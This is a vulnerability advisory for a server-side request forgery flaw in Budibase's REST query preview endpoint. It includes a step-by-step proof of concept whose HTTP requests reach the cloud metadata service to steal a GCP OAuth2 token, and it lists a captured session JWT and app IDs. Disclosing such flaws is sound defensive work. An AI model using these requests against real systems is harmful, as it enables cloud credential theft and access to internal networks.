Summary

The REST datasource query preview endpoint (POST /api/queries/preview) makes server-side HTTP requests to any URL supplied by the user in fields.path with no validation. An authenticated admin can reach internal services that are not exposed to the internet — including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with cloud-platform scope (full GCP access). On any deployment it enables full internal network enumeration.

Details

The vulnerable handler is in packages/server/src/api/controllers/query.ts (preview()). It reads fields.path from the request body and passes it directly to the REST HTTP client without any IP or hostname validation:

fields.path  →  RestClient.read({ path })  →  node-fetch(path)

No blocklist exists for:

• Loopback (127.0.0.1, ::1)
• RFC 1918 ranges (10.x.x.x, 172.16-31.x.x, 192.168.x.x)
• Link-local / cloud metadata (169.254.x.x)
• Internal Kubernetes DNS (.svc.cluster.local)

The datasourceId field must reference an existing REST-type datasource. This is trivially obtained via GET /api/datasources (lists all datasources with their IDs) or created on-demand with a single POST — no base URL is required and fields.path overrides it entirely.

PoC

Step 1 — Get session token

POST /api/global/auth/default/login HTTP/1.1
Host: budibase.dev.com
Content-Type: application/json

{"username": "admin@example.com", "password": "password"}

Response sets Cookie: budibase:auth=<JWT>.

Step 2 — Get a REST datasourceId

GET /api/datasources HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b

Pick any _id where "source": "REST".

Captured from this engagement:

• Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
• App ID: app_dev_3dbfeba315fd4baa8fb6202fe517e93b
• REST datasource ID: datasource_49d5a1ed1c6149e48c4de0923e5b20c5

Step 3 — Send SSRF request

Change fields.path to any internal URL. Examples below.

3a. Cloud metadata — GCP OAuth2 token

POST /api/queries/preview HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b
Content-Type: application/json

{
  "datasourceId": "datasource_49d5a1ed1c6149e48c4de0923e5b20c5",
  "name": "ssrf", "parameters": [], "transformer": "return data", "queryVerb": "read",
  "fields": {
    "path": "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
    "headers": {"Metadata-Flavor": "Google"},
    "queryString": "", "requestBody": ""
  },
  "schema": {}
}

Response:

{"access_token": "ya29.d.c0AZ4bNpYDUK...", "expires_in": 3598, "token_type": "Bearer"}

Impact

What kind of vulnerability is it? Who is impacted?
Any authenticated admin/builder user can make the Budibase server issue HTTP requests to any network-reachable address. Confirmed impact on this engagement:

• Cloud credential theft — GCP OAuth2 token with cloud-platform scope stolen from 169.254.169.254. Token verified valid against GCP Projects API, granting full access to all GCP services in the project.
• Internal database access — CouchDB reached at budibase-svc-couchdb:5984 with extracted credentials, exposing all application data.
• Internal service enumeration — MinIO (minio-service:9000), Redis, and internal worker APIs (127.0.0.1:4002) all reachable.
• Kubernetes cluster access — K8s API server reachable at kubernetes.default.svc using the pod's mounted service account token.

The vulnerability affects all deployment environments (GCP, AWS, Azure, bare-metal, Docker Compose, Kubernetes). The specific impact depends on what services are reachable from the Budibase pod, but cloud metadata theft is possible on any cloud-hosted instance.

Detected by:
Abdulrahman Albatel
Abdullah Alrasheed

References

• GHSA-4647-wpjq-hh7f